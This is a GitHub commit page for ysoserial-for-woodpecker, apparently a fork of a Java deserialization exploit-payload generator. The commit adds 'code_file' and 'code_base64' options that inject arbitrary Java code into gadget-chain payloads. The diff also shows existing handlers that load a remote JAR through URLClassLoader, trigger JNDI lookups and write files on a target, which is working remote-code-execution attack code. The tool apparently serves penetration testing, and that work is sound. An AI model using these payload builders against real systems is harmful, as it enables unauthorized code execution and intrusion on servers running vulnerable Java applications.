Skip to content

Commit

Permalink
添加code_file,code_base64命令
Browse files Browse the repository at this point in the history
  • Loading branch information
c0ny1 committed May 24, 2021
1 parent e8f2489 commit 731af70
Show file tree
Hide file tree
Showing 5 changed files with 15 additions and 4 deletions.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,8 @@
- [ ] auto_cmd 自动判断操作系统执行命令
- [ ] class_file 注入class文件,执行class代码
- [ ] class_base64 注入class base64编码内容,执行class代码
- [ ] code_file 注入要执行的代码
- [ ] code_base64 注入要执行代码的base64编码
- [ ] bcel 注入bcel字符串,实现代码执行
- [ ] bcel_class_file 通过文件注入
- [ ] script_file 通过js引擎执行代码
Expand Down
2 changes: 1 addition & 1 deletion pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

<groupId>me.gv7.woodpecker</groupId>
<artifactId>ysoserial-for-woodpecker</artifactId>
<version>0.3.1</version>
<version>0.3.2</version>
<packaging>jar</packaging>

<name>ysoserial</name>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,8 @@ public class CustomCommand {
public final static String COMMAND_AUTO_CMD = "auto_cmd:";
public final static String COMMAND_CLASS_FILE = "class_file:";
public final static String COMMAND_CLASS_BASE64 = "class_base64:";
public final static String COMMAND_CODE_FILE = "code_file:";
public final static String COMMAND_CODE_BASE64 = "code_base64:";
public final static String COMMAND_BCEL = "bcel:";
public final static String COMMAND_BCEL_CLASS_FILE = "bcel_class_file:";
public final static String COMMAND_SCRIPT_FILE = "script_file:";
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -86,22 +86,28 @@ public static String getCmd(String command) throws Exception {
byte[] fileContent = new BASE64Decoder().decodeBuffer(fileBase64Content);
String fileByteCode = CommonUtil.byteToByteArrayString(fileContent);
cmd = String.format("new java.io.FileOutputStream(\"%s\").write(new byte[]{%s});",remoteFilePath,fileByteCode);
} else if (command.toLowerCase().contains(CustomCommand.COMMAND_LOADJAR)){
} else if (command.toLowerCase().startsWith(CustomCommand.COMMAND_LOADJAR)){
String cmdInfo = command.substring(CustomCommand.COMMAND_LOADJAR.length());
String jarpath = cmdInfo.split("\\|")[0];
String className = cmdInfo.split("\\|")[1];
cmd = String.format("java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"%s\")});" +
"classLoader.loadClass(\"%s\").newInstance();",jarpath,className);
} else if(command.toLowerCase().contains(CustomCommand.COMMAND_LOADJAR_WITH_ARGS)) {
} else if(command.toLowerCase().startsWith(CustomCommand.COMMAND_LOADJAR_WITH_ARGS)) {
String cmdInfo = command.substring(CustomCommand.COMMAND_LOADJAR_WITH_ARGS.length());
String jarpath = cmdInfo.split("\\|")[0];
String className = cmdInfo.split("\\|")[1];
String args = cmdInfo.split("\\|")[2];
cmd = String.format("java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"%s\")});" +
"classLoader.loadClass(\"%s\").getConstructor(String.class).newInstance(\"%s\");",jarpath,className,args);
} else if (command.toLowerCase().contains(CustomCommand.COMMAND_JNDI)){
} else if (command.toLowerCase().startsWith(CustomCommand.COMMAND_JNDI)){
String jndiURL = command.substring(CustomCommand.COMMAND_JNDI.length());
cmd = String.format("new javax.naming.InitialContext().lookup(\"%s\");",jndiURL);
} else if(command.toLowerCase().startsWith(CustomCommand.COMMAND_CODE_FILE)){
String codeFile = command.substring(CustomCommand.COMMAND_CODE_FILE.length());
cmd = new String(CommonUtil.readFileByte(codeFile));
} else if(command.toLowerCase().startsWith(CustomCommand.COMMAND_CODE_BASE64)){
String codeBase64 = command.substring(CustomCommand.COMMAND_CODE_BASE64.length());
cmd = new String(new BASE64Decoder().decodeBuffer(codeBase64));
} else {
throw new Exception(String.format("Command [%s] not supported",command));
}
Expand Down
1 change: 1 addition & 0 deletions src/test/java/Test.src
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
System.out.println("xsd");

0 comments on commit 731af70

Please sign in to comment.